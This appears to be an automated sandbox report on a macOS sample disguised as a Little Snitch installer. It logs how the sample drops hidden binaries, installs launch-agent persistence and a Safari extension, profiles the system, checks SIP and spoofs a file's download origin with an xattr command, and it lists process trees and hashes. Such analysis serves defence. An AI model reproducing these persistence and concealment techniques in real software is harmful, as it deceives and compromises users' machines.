Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-os-ma
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sre.copt_p
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/threadpool
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-debug.c!m
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-gc.c!pend
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-copy-obje
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-memory-go
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/mutexes.cw
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-internal
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-linked-l
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/runtime/
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/mempool-in
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/glib.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-os-mutex
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/atomic.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/mini.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-membar.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-logger-i
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-threads-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-tls.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-os-semap
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-coop-mut
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-coop-sem
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-threads.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-time.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/mini/../../../mono-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/object-off
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-linked-l
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/metadata-i
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/handle.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-gc.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-descripto
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/sgen-clien
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-cardtable
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/metadata/threadpool
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-complex.
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-array-lis
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-gray.h
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-marksweep
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-protocol-
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-minor-cop
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/sgen/sgen-minor-sca
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/io-layer/wapi-priva
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/mono/utils/mono-hwcap-va
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/
Source: initial sample	String containing user path: /Users/builder/data/lanes/3985/35d1ccd0/source/xamarin-macios/external/mono/eglib/src/sort.frag.h

Uses AppleKeyboardLayouts bundle containing keyboard layouts

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist			Jump to behavior
Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist			Jump to behavior

Uses the Python framework

Show sources

Source: /usr/bin/xattr (PID: 674)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python	Jump to behavior
Source: /usr/bin/xattr (PID: 678)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python	Jump to behavior
Source: /usr/bin/xattr (PID: 693)	Python framework application: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python	Jump to behavior

Writes property list (.plist) files to disk

Show sources

Source: /usr/bin/ditto (PID: 673)	XML plist file created: /private/tmp/macsearch.app/Contents/.BC.T_8EnSAw	Jump to dropped file
Source: /usr/bin/ditto (PID: 673)	Binary plist file created: /private/tmp/macsearch.app/Contents/Resources/Base.lproj/.BC.T_g27T4p	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	XML plist file created: /private/tmp/tapufind/.dat.nosync02b9.IwDBz8	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	XML plist file created: /Users/henry/Library/LaunchAgents/.dat.nosync02b9.Xbmr58	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	XML plist file created: /private/tmp/tapufind/.dat.nosync02b9.sOJfNr	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	XML plist file created: /Users/henry/Library/LaunchAgents/.dat.nosync02b9.u0j70j	Jump to dropped file
Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)	Binary plist file created: /Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/Extensions.plist	Jump to dropped file
Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)	XML plist file created: /Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/Info.plist	Jump to dropped file
Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)	XML plist file created: /Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/Settings.plist	Jump to dropped file

Boot Survival:

Creates memory-persistent launch services

Show sources

Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent/daemon created with KeepAlive and/or RunAtLoad, file moved: /Users/henry/Library/LaunchAgents/.dat.nosync02b9.u0j70j -> /Users/henry/Library/LaunchAgents/tapufind.plist			Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent/daemon created with KeepAlive and/or RunAtLoad, file moved: /Users/henry/Library/LaunchAgents/.dat.nosync02b9.Xbmr58 -> /Users/henry/Library/LaunchAgents/tapufind.plist			Jump to behavior

Creates user-wide 'launchd' managed services aka launch agents

Show sources

Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent created file moved: /Users/henry/Library/LaunchAgents/.dat.nosync02b9.Xbmr58 -> /Users/henry/Library/LaunchAgents/tapufind.plist			Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Launch agent created file moved: /Users/henry/Library/LaunchAgents/.dat.nosync02b9.u0j70j -> /Users/henry/Library/LaunchAgents/tapufind.plist			Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Modifies or sets the kMDItemWhereFroms meta data storing the files origin

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)

Xattr command executed: /usr/bin/xattr xattr -w com.apple.metadata:kMDItemWhereFroms \<\!DOCTYPE\ plist\ PUBLIC\ \'-//Apple//DTD\ PLIST\ 1.0//EN\'\ \'http://www.apple.com/DTDs/PropertyList-1.0.dtd\'\>\<plist\ version=\'1.0\'\>\<array\>\<string\>http://reiteration-a.akamaihd.net/INSREZBHAZUIKGLAASDZFAHUYDWNBYTRWMFSOGZQNJYCAP/FlashPlayer.dmg?S2SURL=\</string\>\</array\>\</plist\> ~/Library/X2441139MAC/Temp/player.dmg

Jump to behavior

Creates hidden Mach-O files

Show sources

Source: /usr/bin/ditto (PID: 673)	Hidden Mach-O file written: Mach-O 64 bit: /private/tmp/macsearch.app/Contents/MacOS/.BC.T_5fp5Ob	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden Mach-O file written: Mach-O 64 bit: /private/tmp/tapufind/.dat.nosync02b9.o9GXrL	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden Mach-O file written: Mach-O 64 bit: /private/tmp/tapufind/.dat.nosync02b9.raddFF	Jump to dropped file
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Hidden Mach-O file written: Mach-O 64 bit: /private/tmp/tapufind/.dat.nosync02b9.DAOwrT	Jump to dropped file

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49285 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49284
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49285
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 49285 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 49284 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49285
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49284
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 49286

Malware Analysis System Evasion:

An application crashed which may indicate that the sample tries to avoid analysis

Show sources

Source: /usr/libexec/xpcproxy (PID: 724)

ReportCrash process spawned: /System/Library/CoreServices/ReportCrash agent

Jump to behavior

Reads the sysctl hardware model value (may be used for detecting VM presence)

Show sources

Source: /usr/sbin/system_profiler (PID: 659)	Sysctl read request: hw.model (6.2)			Jump to behavior
Source: /usr/sbin/system_profiler (PID: 661)	Sysctl read request: hw.model (6.2)			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration

Show sources

Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)

Csrutil executable: /usr/bin/csrutil -> /usr/bin/csrutil status

Jump to behavior

Reads the sysctl safe boot value (probably to check if the system is in safe boot mode)

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)

Sysctl read request: kern.safeboot (1.66)

Jump to behavior

Language, Device and Operating System Detection:

Reads hardware related sysctl values

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Sysctl read request: hw.availcpu (6.25)	Jump to behavior
Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Sysctl read request: hw.ncpu (6.3)	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 659)	Sysctl read request: hw.cpu_freq (6.15)	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 659)	Sysctl read request: hw.memsize (6.24)	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 661)	Sysctl read request: hw.cpu_freq (6.15)	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 661)	Sysctl read request: hw.memsize (6.24)	Jump to behavior

Reads the systems OS release and/or type

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 674)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 674)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 678)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 678)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 693)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 693)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /tmp/tapufind/ChromeAndFirefoxSetter (PID: 716)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /tmp/tapufind/ChromeAndFirefoxSetter (PID: 716)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior
Source: /Users/henry/Library/Application Support/Agent/tapufind (PID: 713)	Sysctl requested: kern.ostype (1.1)	Jump to behavior
Source: /Users/henry/Library/Application Support/Agent/tapufind (PID: 713)	Sysctl requested: kern.osrelease (1.2)	Jump to behavior

Reads the systems hostname

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 674)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 678)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 693)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 701)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 710)	Sysctl requested: kern.hostname (1.10)	Jump to behavior

Reads the system or server version plist file

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 674)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 674)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 678)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 678)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 693)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 693)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /tmp/macsearch.app/Contents/MacOS/macsearch (PID: 697)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /usr/bin/open (PID: 701)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /usr/bin/open (PID: 710)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /usr/bin/open (PID: 722)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /Applications/Safari.app/Contents/MacOS/Safari (PID: 702)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /Users/henry/Library/Application Support/Agent/tapufind (PID: 713)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior

Stealing of Sensitive Information:

Executes the "system_profiler" command used to collect detailed system hardware and software information

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	System_profiler executable: /usr/sbin/system_profiler -> /usr/sbin/system_profiler SPHardwareDataType	Jump to behavior
Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)	System_profiler executable: /usr/sbin/system_profiler -> /usr/sbin/system_profiler SPHardwareDataType	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 658)	System_profiler executable: /usr/sbin/system_profiler -> /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full	Jump to behavior
Source: /usr/sbin/system_profiler (PID: 660)	System_profiler executable: /usr/sbin/system_profiler -> /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full	Jump to behavior

Lists all applications within the /Applications directory

Show sources

Source: /Volumes/Little_Snitch_583_MAC_OS_X/Installer.app/Contents/MacOS/Installer (PID: 653)

Ls command executed: /bin/ls /Applications

Jump to behavior

Runtime Messages

Command:	open
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Shell
Is malicious

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Startup

system is mac1

xpcproxy (PID: 653 PPID: 1 MD5: d1bb9a4899f0af921e8188218b20d744)

Installer (PID: 653 PPID: 1 Overlayed Process Image: xpcproxy MD5: 597713fbe7f61f3d8abf99ab4b6cdfb4)

ls (PID: 657 PPID: 653 MD5: d77c1dd5bb8e39c2dd27c96c3fd2263e)

system_profiler (PID: 658 PPID: 653 MD5: 28bae8e36d2b8a65b50a54ee327298b8)

system_profiler (PID: 659 PPID: 658 MD5: 28bae8e36d2b8a65b50a54ee327298b8)

system_profiler (PID: 660 PPID: 653 MD5: 28bae8e36d2b8a65b50a54ee327298b8)

system_profiler (PID: 661 PPID: 660 MD5: 28bae8e36d2b8a65b50a54ee327298b8)

hdiutil (PID: 662 PPID: 653 MD5: 51ee1c0640dcf5f0d08c7b21edf98dd9)

diskimages-helper (PID: 663 PPID: 662 MD5: 467c495af9a262e52c87b619f1ac5fd4)

diskimages-helper (PID: 664 PPID: 663 MD5: 467c495af9a262e52c87b619f1ac5fd4)

ditto (PID: 673 PPID: 653 MD5: 5e90ed3b53d4ac63096f6727363249c5)

xattr (PID: 674 PPID: 653 MD5: e2ca6555fe4b8c6a97d1ced2156c9b69)

Python (PID: 674 PPID: 653 Overlayed Process Image: xattr MD5: ba780ab677147d9db60c564ef3f51dd0)

hdiutil (PID: 675 PPID: 653 MD5: 51ee1c0640dcf5f0d08c7b21edf98dd9)

xattr (PID: 678 PPID: 653 MD5: e2ca6555fe4b8c6a97d1ced2156c9b69)

Python (PID: 678 PPID: 653 Overlayed Process Image: xattr MD5: ba780ab677147d9db60c564ef3f51dd0)

hdiutil (PID: 679 PPID: 653 MD5: 51ee1c0640dcf5f0d08c7b21edf98dd9)

diskimages-helper (PID: 680 PPID: 679 MD5: 467c495af9a262e52c87b619f1ac5fd4)

diskimages-helper (PID: 681 PPID: 680 MD5: 467c495af9a262e52c87b619f1ac5fd4)

hdiutil (PID: 690 PPID: 653 MD5: 51ee1c0640dcf5f0d08c7b21edf98dd9)

diskimages-helper (PID: 691 PPID: 690 MD5: 467c495af9a262e52c87b619f1ac5fd4)

diskimages-helper (PID: 692 PPID: 691 MD5: 467c495af9a262e52c87b619f1ac5fd4)

xattr (PID: 693 PPID: 653 MD5: e2ca6555fe4b8c6a97d1ced2156c9b69)

Python (PID: 693 PPID: 653 Overlayed Process Image: xattr MD5: ba780ab677147d9db60c564ef3f51dd0)

hdiutil (PID: 694 PPID: 653 MD5: 51ee1c0640dcf5f0d08c7b21edf98dd9)

macsearch (PID: 697 PPID: 653 MD5: d74879f400165addcb03fa853a4448e8)

launchctl (PID: 698 PPID: 697 MD5: 17fad4b994d600d0a5b6bc02b55c2c80)

launchctl (PID: 699 PPID: 697 MD5: 17fad4b994d600d0a5b6bc02b55c2c80)

launchctl (PID: 700 PPID: 697 MD5: 17fad4b994d600d0a5b6bc02b55c2c80)

sh (PID: 701 PPID: 697 MD5: 8aa60b22a5d30418a002b340989384dc)

open (PID: 701 PPID: 697 Overlayed Process Image: sh MD5: 40ed6d8f35c9f20484b97582d296398f)

csrutil (PID: 709 PPID: 697 MD5: 6d4e7b8f6590034c053aeac7131b82cc)

sh (PID: 710 PPID: 697 MD5: 8aa60b22a5d30418a002b340989384dc)

open (PID: 710 PPID: 697 Overlayed Process Image: sh MD5: 40ed6d8f35c9f20484b97582d296398f)

launchctl (PID: 712 PPID: 697 MD5: 17fad4b994d600d0a5b6bc02b55c2c80)

launchctl (PID: 714 PPID: 697 MD5: 17fad4b994d600d0a5b6bc02b55c2c80)

ChromeAndFirefoxSetter (PID: 716 PPID: 697 MD5: 13c676274533455c3c25091f6398ef34)

launchctl (PID: 717 PPID: 697 MD5: 17fad4b994d600d0a5b6bc02b55c2c80)

open (PID: 722 PPID: 653 MD5: 40ed6d8f35c9f20484b97582d296398f)

open (PID: 725 PPID: 653 MD5: 40ed6d8f35c9f20484b97582d296398f)

xpcproxy (PID: 654 PPID: 1 MD5: d1bb9a4899f0af921e8188218b20d744)

taskgated-helper (PID: 654 PPID: 1 Overlayed Process Image: xpcproxy MD5: 4ce70c69efe07cf5e30917619056b351)

automount (PID: 677 PPID: 98 MD5: fffb9356e3ac7c5eea8554275b9512e6)

xpcproxy (PID: 702 PPID: 1 MD5: d1bb9a4899f0af921e8188218b20d744)

Safari (PID: 702 PPID: 1 Overlayed Process Image: xpcproxy MD5: 73bcc8196eef5893ef63d33aa6ca09f6)

xpcproxy (PID: 713 PPID: 1 MD5: d1bb9a4899f0af921e8188218b20d744)

tapufind (PID: 713 PPID: 1 Overlayed Process Image: xpcproxy MD5: eaa8c972ce923c54866282e31f1b8a87)

xpcproxy (PID: 723 PPID: 1 MD5: d1bb9a4899f0af921e8188218b20d744)

setup (PID: 723 PPID: 1 Overlayed Process Image: xpcproxy MD5: 144107035cedea24b3c5dda87dcb25cd)

xpcproxy (PID: 724 PPID: 1 MD5: d1bb9a4899f0af921e8188218b20d744)

ReportCrash (PID: 724 PPID: 1 Overlayed Process Image: xpcproxy MD5: e978a18aaa83bc85565bca3b8a169455)

cleanup

Created / dropped Files

/Users/henry/Library/Application Support/Agent/.dat.nosync02c9.0oMHxI Download File
Process:	/Users/henry/Library/Application Support/Agent/tapufind
File Type:	ASCII text, with no line terminators
Size (bytes):	19
Entropy (8bit):	2.9000516989995435
Encrypted:	false
MD5:	B73D017EB30B0B87C470BCE5F9292E41
SHA1:	D2BCBA155483E94BED1BDD053729C468B6E6AC4B
SHA-256:	61B2F8043725E69702F4953BE2A54B6263E36181CE16CF2C95D9FE16A63B4A70
SHA-512:	3353EC04D0DFF8C4172760E93354DA544D41DCD1722A8F93D60AEEEAFAC7823FEC5786803087531058B5A8F25B723649A619BD7F75474C0AA0F88437C9421E1D
Malicious:	false
Reputation:	low

/Users/henry/Library/Application Support/Agent/tapufind Download File
Process:	/tmp/macsearch.app/Contents/MacOS/macsearch
File Type:	Mach-O 64-bit executable
Size (bytes):	240784
Entropy (8bit):	5.284103165082807
Encrypted:	false
MD5:	EAA8C972CE923C54866282E31F1B8A87
SHA1:	0CD6EEFC64BFD3AF2A9C190E92615D131BD2B013
SHA-256:	A370094CDDE12DD1121464713812588038D9BE4C7FACFD25A26F31D6241974D2
SHA-512:	7C0FD358724DBFEFD16EEC8C31746F8C7489089605C47B7631DD323F80992B8A6C1F3D8A67C80EAA22FC727E6539602BDBE60B9556BDCF543E7DD53428DFFE18
Malicious:	true
Reputation:	low

/Users/henry/Library/Caches/com.apple.Safari/Extensions/TapuFind.safariextension/Extensions.plist Download File
Process:	/Applications/Safari.app/Contents/MacOS/Safari
File Type:	Apple binary property list
Size (bytes):	42787
Entropy (8bit):	6.300901598332352
Encrypted:	false
MD5:	1C88CDD2B798FA632FBC96786DB7BD88
